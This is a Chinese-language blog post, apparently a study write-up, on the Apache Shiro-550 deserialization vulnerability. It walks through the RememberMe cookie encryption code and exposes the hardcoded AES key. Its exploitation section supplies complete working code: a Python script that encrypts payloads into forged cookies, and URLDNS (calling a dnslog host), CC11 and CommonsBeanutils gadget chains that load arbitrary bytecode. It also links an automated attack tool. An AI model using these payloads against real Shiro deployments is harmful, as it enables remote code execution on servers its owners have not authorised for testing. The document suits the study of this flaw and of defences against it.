Java反序列化-Shiro550 0x01 写在前面 这周感觉没什么状态,Shiro已经拖了很久了,周四翘课赶紧打一下(感觉平时不逃课根本没啥时间学新东西哈哈
0x02 Shiro初识 Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能
Shiro框架直观、易用,同时也能提供健壮的安全性
0x03 漏洞原理 Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户的登录信息加密编码,然后存储在Cookie中。对于服务端,如果检测到用户的Cookie,首先会读取rememberMe的Cookie值,然后进行base64解码,然后进行AES解密再反序列化
反过来思考一下,如果我们构造该值为一个cc链序列化后的字符串,并使用该密钥进行AES加密后再进行base64编码,那么这时候服务端就会去进行反序列化我们的payload内容,这样就可以达到命令执行的效果,流程如下:
1 获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
shiro550 的根本原因:固定 key 加密
0x04 环境搭建 参考Drunkbaby师傅的文章
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/
0x05 漏洞分析 漏洞点 登录的 username 和 password 默认是 root 与 secret
填写用户名和密码后勾选remember选项,服务端就会生成一个Cookie来记住你的登录信息
Shiro550的特征是响应包中包含remember=deleteMe字段,在登录之后生成了一串base64来作为登录用户的Cookie。实际上后端是对用户登录信息进行序列化,然后进行AES加密后base64,这便是我们的Cookie
加密过程 既然漏洞出现在Cookie的序列化,就全局搜索Shiro包下Cookie生成的相关内容
CookieRememberMeManager.rememberSerializedIdentity()方法如下:
对其进行分析,做的事情很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 protected void rememberSerializedIdentity (Subject subject, byte [] serialized) { if (!WebUtils.isHttp(subject)) { if (log.isDebugEnabled()) { String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet " + "request and response in order to set the rememberMe cookie. Returning immediately and " + "ignoring rememberMe operation." ; log.debug(msg); } return ; } HttpServletRequest request = WebUtils.getHttpRequest(subject); HttpServletResponse response = WebUtils.getHttpResponse(subject); String base64 = Base64.encodeToString(serialized); Cookie template = getCookie(); Cookie cookie = new SimpleCookie (template); cookie.setValue(base64); cookie.saveTo(request, response); }
查看谁调用了该方法,是AbstractRememberMeManager.rememberIdentity()方法
先对传入的byte通过convertPrincipalsToBytes()方法处理,再传递给rememberSerializedIdentity()
继续查看方法的调用,在AbstractRememberMeManager.onSuccessfulLogin()
该方法最终被AbstractRememberMeManager.rememberMeSuccessfulLogin()调用,这里应该就是remeberMe的功能点了,这里下个断点调试
跟进到onSuccessfulLogin()方法中,调用forgetIdentity()方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等,这里直接跳过看后面的逻辑
先判断token的remeberMe字段是否为true,然后进入rememberIdentity()
在rememberIdentity()中,调用了convertPrincipalsToBytes()将身份信息转换为字节数组
跟进看看onvertPrincipalsToBytes()如何实现
1 2 3 4 5 6 7 8 9 protected byte [] convertPrincipalsToBytes(PrincipalCollection principals) { byte [] bytes = serialize(principals); if (getCipherService() != null ) { bytes = encrypt(bytes); } return bytes; }
跟进encrypt()查看加密逻辑
1 2 3 4 5 6 7 8 9 10 11 12 protected byte [] encrypt(byte [] serialized) { byte [] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
可以在调试面板看到实际上使用的加密算法是AES
同时注意到getEncryptionCipherKey()返回的是加密的密钥,跟进,返回encryptionCipherKey,查看Value write
setEncryptionCipherKey()实现了encryptionCipherKey的赋值
1 2 3 public void setEncryptionCipherKey (byte [] encryptionCipherKey) { this .encryptionCipherKey = encryptionCipherKey; }
查看调用,在setCipherKey()方法
接下来是调用setCipherKey()的AbstractRememberMeManager(),发现传递给setCipherKey()的参数是类里面的属性*DEFAULT_CIPHER_KEY_BYTES*
查看发现该属性为常量,这里就是漏洞利用的关键点
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
加密完成后,回到rememberIdentity(),bytes就是加密之后的cookie
rememberSerializedIdentity(),最终将我们加密之后的Cookie先进行base64编码,再存储到当前会话的Cookie中
解密过程 下面我们来调试一下解密过程,在AbstractRememberMeManager.getRememberedPrincipals()下一个断点进行调试
在bp中发个包,注意此时我们要把Cookie中的sessionID删除,不然后端不会解析我们的加密串
进入getRememberedSerializedIdentity(),先获取Cookie值,再对其进行Base64解码
接着进入convertBytesToPrincipals(),调用decrypt()对字节数组进行解码
跟进decrypt(),获取密钥后进行AES解密方法
对字节数组解密完成后将其反序列化
以上就是完整的Cookie解密过程
0x06 漏洞利用 AES加密脚本 使用该将利用链的exp生成的bin文件进行AES加密后传入Cookie字段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Cipher import AESimport uuidimport base64 def convert_bin (file ): with open (file,'rb' ) as f: return f.read() def AES_enc (data ): BS=AES.block_size pad=lambda s:s+((BS-len (s)%BS)*chr (BS-len (s)%BS)).encode() key="kPH+bIxk5D2deZiIxcaaaA==" mode=AES.MODE_CBC iv=uuid.uuid4().bytes encryptor=AES.new(base64.b64decode(key),mode,iv) ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode() return ciphertext if __name__=="__main__" : data=convert_bin("ser.bin" ) print (AES_enc(data))
URLDNS链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 package org.example;import java.io.*;import java.util.HashMap;import java.net.URL;import java.lang.reflect.Field;public class DNSURL { public static void main (String[] args) throws Exception{ HashMap map=new HashMap (); URL url=new URL ("http://scrk6r.dnslog.cn" ); Class clazz=Class.forName("java.net.URL" ); Field hashcode=clazz.getDeclaredField("hashCode" ); hashcode.setAccessible(true ); hashcode.set(url,123 ); map.put(url,"test" ); hashcode.set(url,-1 ); serialize(map); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException{ ObjectInputStream ois=new ObjectInputStream (new FileInputStream (Filename)); Object object=ois.readObject(); return object; } }
用脚本机密后放入Cookie中,记得删除JSESSIONID否则服务端不会解析Cookie
完成DNS查询,说明反序列化成功
CC链 在shiro中,默认其实是没有CC依赖的,所以在测试学习的时候需要我们在maven中手动添加上CC3.2.1依赖
尝试使用CC6这条对CC和jdk版本没有限制的链来攻击,传入payload发现没有反应,查看服务器日志,无法加载Transformer数组类
在我们反序列化的时候,在readObject之前,初始化了一个ClassResolvingObjectInputStream类,调用它的readObject(),调用Transformer数组类时无法找到Transformer.class的路径,但是并不存在这个路径,因此Shiro无法反序列化Transformers数组,具体原因看https://goodapple.top/archives/139
总而言之使用CC链时无法使用Transformer数组类
在我前面的博客中的标准CC11链中,结合了CC2和CC6的特点,用了InvokerTransformer类来加载,后半条链使用的是动态加载类,这样可以绕过Transformers数组,前半条链使用HashMap类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC11test {public static void main (String[] args) throws Exception{ byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer ("five" )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "value" ); lazyMap.remove(templates); setFieldValue(lazyMap, "factory" , invokerTransformer); serialize(expMap); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } }
反序列化成功
CB链 在Shiro中没有CC依赖,但是有一个叫commons-beanutils的依赖。这个依赖主要是扩充了JavaBean语法,能够动态调用符合JavaBean的类方法,前面我已经写过这条链子了,这里直接给exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CommonsBeanUtils { public static void main (String[] args) throws Exception { byte [] code = Files.readAllBytes(Paths.get("D://Task/test.class" )); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_name" , "Calc" ); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); BeanComparator beanComparator = new BeanComparator (); PriorityQueue priorityQueue = new PriorityQueue (1 ,beanComparator); priorityQueue.add(1 ); priorityQueue.add(1 ); setFieldValue(beanComparator, "property" , "outputProperties" ); setFieldValue(priorityQueue,"queue" , new Object []{templates, templates}); serialize(priorityQueue); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInput ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
没打通的话可能是commons-beanutils依赖的版本不一致
0x07 自动化工具 shiro反序列化漏洞综合利用工具,Shrio一把梭,大人食大便了
https://github.com/SummerSec/ShiroAttack2
0x08 写在后面 还是没能克服懒癌…
然后就是有时间把CC11和CB链重新挖一挖吧
参考
https://goodapple.top/archives/139
https://drun1baby.github.io/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/